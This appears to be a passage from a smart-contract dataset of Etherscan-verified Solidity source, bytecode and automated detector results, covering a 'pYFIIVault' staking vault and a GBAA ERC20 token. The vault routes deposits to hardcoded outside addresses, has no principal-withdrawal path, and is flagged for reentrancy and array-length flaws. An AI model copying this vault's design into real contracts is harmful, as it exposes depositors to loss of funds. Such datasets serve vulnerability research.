function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pYFIIVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { mapping (address => uint256) amount; uint256 time; } IERC20 public token = IERC20(0xa1d0E215a23d7030842FC67cE582a6aFa3CCaB83); address public governance; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount = 0; event Withdrawn(address indexed user, uint256 amount); constructor () public { governance = msg.sender; } function balance() public view returns (uint) { return token.balanceOf(address(this)); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); uint arrayLength = addressIndices.length; bool found = false; for (uint i = 0; i < arrayLength; i++) { if(addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 realAmount = _amount.mul(995).div(1000); uint256 feeAmount = _amount.mul(5).div(1000); address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC; address vaultAddress = 0xACeFd0622a623E822B7a7aA8FBd65a1DC61432a0; // Vault9 Address token.safeTransferFrom(msg.sender, feeAddress, feeAmount); token.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); } function reward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token.safeTransferFrom(msg.sender, address(this), _amount); uint arrayLength = addressIndices.length; for (uint i = 0; i < arrayLength; i++) { rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit)); _rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit); } _rewards[_rewardCount].time = block.timestamp; _rewardCount++; } function withdrawAll() external { withdraw(rewardBalances[msg.sender]); } function withdraw(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); require(_amount > 0, "can't withdraw 0"); uint256 availableWithdrawAmount = availableWithdraw(msg.sender); if (_amount > availableWithdrawAmount) { _amount = availableWithdrawAmount; } token.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableWithdraw(address owner) public view returns(uint256){ uint256 availableWithdrawAmount = rewardBalances[owner]; for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) { availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days)); if (i == 0) break; } return availableWithdrawAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073acefd0622a623e822b7a7aa8fbd65a1dc61432a0906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820c5f1ee01969c8e6c3a1cff888645baa4eac45ba9b8fb7c30fc912817e58d5ab164736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,037
0x2E2656Ba4253F59B3198D2a9795C4d90A4Ca1417
/** *Submitted for verification at Etherscan.io on 2021-03-15 */ /** *Submitted for verification at Etherscan.io on 2020-05-19 */ pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0 ) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GBAA is StandardToken{ string public constant name = "GBAA"; // solium-disable-line uppercase string public constant symbol = "GBAA"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 88488600000000000000000000; uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() GBAA() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * The fallback function. */ function() payable public { revert(); } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806332cb6b0c146102cb57806366188463146102f657806370a082311461035b57806395d89b41146103b2578063a9059cbb14610442578063d73dd623146104a7578063dd62ed3e1461050c575b600080fd5b3480156100d657600080fd5b506100df610583565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105bc565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610743565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074d565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b07565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610b16565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102e0610b1b565b6040518082815260200191505060405180910390f35b34801561030257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2d565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b5061039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbe565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103c7610e06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044e57600080fd5b5061048d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3f565b604051808215151515815260200191505060405180910390f35b3480156104b357600080fd5b506104f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105e565b604051808215151515815260200191505060405180910390f35b34801561051857600080fd5b5061056d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125a565b6040518082815260200191505060405180910390f35b6040805190810160405280600481526020017f474241410000000000000000000000000000000000000000000000000000000081525081565b60008082148061064857506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086257600080fd5b6108b3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610946826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6a4932309e35e7f00b60000081565b601281565b601260ff16600a0a6402540be4000281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c3e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd2565b610c5183826112e190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f474241410000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e7c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ec957600080fd5b610f1a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fad826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ef82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112fa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff